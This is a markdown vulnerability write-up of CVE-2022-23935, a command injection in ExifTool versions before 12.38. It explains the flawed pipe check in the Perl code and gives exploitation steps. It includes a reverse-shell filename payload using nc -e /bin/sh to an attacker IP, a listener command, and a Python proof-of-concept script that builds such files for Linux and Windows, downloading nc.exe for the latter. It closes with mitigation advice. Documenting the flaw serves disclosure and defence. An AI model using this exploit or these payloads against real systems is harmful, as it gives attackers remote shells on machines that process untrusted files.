---
tags: CVE
---
# π CVE-2022-23935 β ExifTool OS Command Injection
## π Summary
| Field | Information |
|------------------|-----------------------------------------------------------------------------|
| **CVE ID** | CVE-2022-23935 |
| **CVSS Score** | 7.8 (HIGH) |
| **Affected** | ExifTool < 12.38 |
| **Vulnerability**| OS Command Injection |
| **Release Date** | 25 Jan 2022 |
| **Root Cause** | `lib/Image/ExifTool.pm` mishandles `$file =~ /\|$/` check, enabling command injection |
---
## π Technical Analysis
The vulnerability lies in the `Open` function of **ExifTool**:
```perl
$mode = ($file =~ /\|$/ ? '' : '<') unless $mode;
```
- If a filename **ends with `|`**, ExifTool assumes it is a pipe and sets `$mode = ''`.
- Later, it executes:
```perl
open $fh, "$mode$file";
```
- The input sanitization only protects **leading whitespace or ampersands**, but **does not sanitize arbitrary shell metacharacters**.
- Therefore, a file named:
```
a.jpg|whoami|
```
causes ExifTool to execute `whoami` instead of opening a normal file.
---
## π₯ Exploitation Steps
1. Prepare a valid image file (`a.jpg`).
2. Rename it to include a payload, e.g.:
```
a.jpg|whoami|
```

3. Run ExifTool on the malicious file.
- If no image exists, the command wonβt execute.
- With a valid image, the command executes successfully.

4. For remote shell:
- Start a listener on the attackerβs machine:
```bash
nc -lvnp 4444
```
- Rename the image to a reverse shell payload:
```
image.jpg|nc <attacker_ip> 4444 -e /bin/sh|
```
- When ExifTool processes the file, the victim connects back.


---


## π§ͺ Proof of Concept (PoC)
```python
import argparse
import requests
import shutil
import os
parser = argparse.ArgumentParser()
parser.add_argument("victim_os", help="Victim's OS: linux or windows")
parser.add_argument("attacker_ip", help="Attacker's IP address")
parser.add_argument("attacker_port", help="Attacker's port")
args = parser.parse_args()
victim_os = args.victim_os.lower()
attacker_ip = args.attacker_ip
attacker_port = args.attacker_port
# Download a test image
image_url = "https://i.pinimg.com/736x/c9/ee/6d/c9ee6d47f7b18fc4e27dc77eb71d53d3.jpg"
response = requests.get(image_url)
with open("image.jpg", "wb") as f:
f.write(response.content)
print("[+] Image downloaded: image.jpg")
# Craft payload filename
if victim_os == "linux":
malicious_name = f"image.jpg|nc {attacker_ip} {attacker_port} -e /bin/sh|"
elif victim_os == "windows":
nc_url = "https://github.com/int0x33/nc.exe/raw/refs/heads/master/nc.exe"
response = requests.get(nc_url)
with open("nc.exe", "wb") as f:
f.write(response.content)
malicious_name = f"image.jpg|nc.exe {attacker_ip} {attacker_port} -e cmd.exe|"
else:
print("[-] Invalid OS. Only 'linux' or 'windows' are accepted.")
exit()
shutil.copyfile("image.jpg", malicious_name)
print(f"[+] Malicious file created: {malicious_name}")
print(f"[*] Run: nc -lvnp {attacker_port} on the attackerβs machine to receive the connection.")
```
---
## π
Timeline
| Date | Event |
|------------|--------------------------------------------|
| Jan 2022 | Vulnerability discovered |
| 25 Jan 2022| Public disclosure (CVE-2022-23935) |
| Jan 2022 | Patch released in ExifTool v12.38 |
---
## π Mitigation
- **Update ExifTool to version 12.38 or later.**
- Treat filenames as **untrusted input** and sanitize properly before passing to system commands.
- Use `--` (end of options) when passing user-controlled filenames to CLI tools.
---
## π References
- [CVE-2022-23935 β MITRE](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-23935)
- [ExifTool GitHub](https://github.com/exiftool/exiftool)
- [Snyk Advisory](https://security.snyk.io/vuln/SNYK-PERL-IMAGEEXIFTOOL-2402822)